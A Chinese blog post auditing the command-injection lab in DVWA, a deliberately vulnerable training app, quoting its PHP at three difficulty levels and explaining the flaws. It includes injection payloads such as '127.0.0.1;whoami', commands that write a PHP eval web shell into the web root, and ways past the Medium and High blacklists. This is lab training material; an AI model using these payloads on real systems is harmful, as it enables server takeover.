blubiu

My Love

上网不网恋,简直浪费电.


DVWA代码审计--命令执行


开启代码审计的新篇章


前言:

不知道要说点什么吧,

很喜欢安全这个东西,

越往深处发展,代码审计还是要学习的,

就总结一下吧..


目录:


NO.1 Low

首先来看下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    $html .= "<pre>{$cmd}</pre>";
}

?>

看完代码后再来学习学习函数吧,毕竟菜啊!!!


isset()函数检测变量是否设置,是返回true,否则返回false

语法:bool isset( mixed var [, mixed var [, …]] )


empty()函数检查一个变量是否为空,是返回true,否则返回false

语法:bool empty(mixed var)


explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

语法:explode(separator,string,limit)


is_numeric()函数用于检测变量是否为数字或数字字符串。

语法:bool is_numeric ( mixed $var )


stristr()函数搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。

例:

<?php
echo stristr("Hello world!","WORLD");
?>

查找 “world” 在 “Hello world!” 中的第一次出现,并返回字符串的剩余部分。

语法:stristr(string,search,before_search)


php_uname()返回运行 PHP 的系统的有关信息。

语法:php_uname ([ string $mode = “a” ] ) : string

参数mode

mode 是单个字符,用于定义要返回什么信息:

  1. ‘a’:此为默认。包含序列 “s n r v m” 里的所有模式。
  2. ’s’:操作系统名称。例如: FreeBSD。
  3. ‘n’:主机名。例如: localhost.example.com。
  4. ‘r’:版本名称,例如: 5.1.2-RELEASE。
  5. ‘v’:版本信息。操作系统之间有很大的不同。
  6. ‘m’:机器类型。例如:i386。

再回到代码中,

首先这些定义了一个$target变量来接收用户输入的值,

$_REQUEST函数是超全局变量,可以接收$_POST$_GET传过来的值,

并且没有对用户传入的值进行任何的判断和过滤

这里直接输入123都是可以的

images


当然了,直接输入123并不能够达到我们想要的效果

还是要先尊重一下代码流程,先进行ping操作

思考,在进行ping操作的同时,怎样让他执行代码呢??

在Windows下的方法:

  1. | 命令管道符,两条命令同时都正确时才能执行,且只显示后一条命令的执行结果
  2. || 当前面出错时执行后面的
  3. & 符(与的意思),不管前面的语句是真是假,都执行后面的语句
  4. && 前一个命令执行成功才会执行后一个命令(如果前一个命令正确,后一个错误,则只执行前一个)

在Linux下的方法:

跟win下面的方法一样,不过多出一个分号;

; 前面的执行完才执行后面的,例: 127.0.0.1;whoami


然后就可以直接操作了,

images


除了这些操作之外,还可以写shell ,

首先使用 dir 命令 查看路径,

images


然后使用命令写入文件:

127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > shell.php

如果不写路径的的话,默认写入在dir 命令查看到的路径下,

当然也可以直接写入到网站根目录下,

命令:

127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > D:\phpStudy\PHPTutorial\WWW\dvwa\shell.php

然后就可以直接上菜刀了,

注意: <(左尖括号) 要使用 ^ 号来转义


NO.2 Medium

一样,还是先看看代码,

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 

    // Set blacklist 
    $substitutions = array( 
        '&&' => '', 
        ';'  => '', 
    ); 

    // Remove any of the charactars in the array (blacklist).  删除数组中的字符(黑名单)
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?> 

array_keys()函数返回包含数组中所有键名的一个新数组。

例:

<?php
$a=array("Volvo"=>"XC90","BMW"=>"X5","Toyota"=>"Highlander");
print_r(array_keys($a));
?>

返回:

Array ( [0] => Volvo [1] => BMW [2] => Toyota )

语法:array_keys(array,value,strict)

参数:

  1. array 必需。规定数组。
  2. value 可选。您可以指定键值,然后只有该键值对应的键名会被返回。
  3. strict 可选。与 value 参数一起使用。可能的值:
  4. true - 返回带有指定键值的键名。依赖类型,数字 5 与字符串 “5” 是不同的。
  5. false - 默认值。不依赖类型,数字 5 与字符串 “5” 是相同的。

str_replace()函数替换字符串中的一些字符(区分大小写)。

语法:str_replace(find,replace,string,count)

参数:

  1. find 必需。规定要查找的值。
  2. replace 必需。规定替换 find 中的值的值。
  3. string 必需。规定被搜索的字符串。
  4. count 可选。一个变量,对替换数进行计数。

来看看这句话什么意思,

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

array_keys()函数处理$substitutions数组,然后再使用str_replace()函数来替换字符串,

总的来说的意思就是 搜索$target,如果$target中有&&或者有分号,那么将他们替换成空

当然了,这个检测过于死板,只检测两个&分号,对于一个&|依旧没有进行检测,我们仍然可以用它们进行绕过


NO.3 High

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = trim($_REQUEST[ 'ip' ]); 

    // Set blacklist 
    $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '| ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 

    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 

    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 

    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 

?>

跟难度Medium的差不多,只是过滤的字符多了些,

我们看到第三个字符,过滤的是|+空格,并没有直接过滤|,然后我们依旧可以使用|进行绕过,

images

到这来依旧没有结束,发现好像还有其他绕过方法,,如果可行的话还将继续更新。。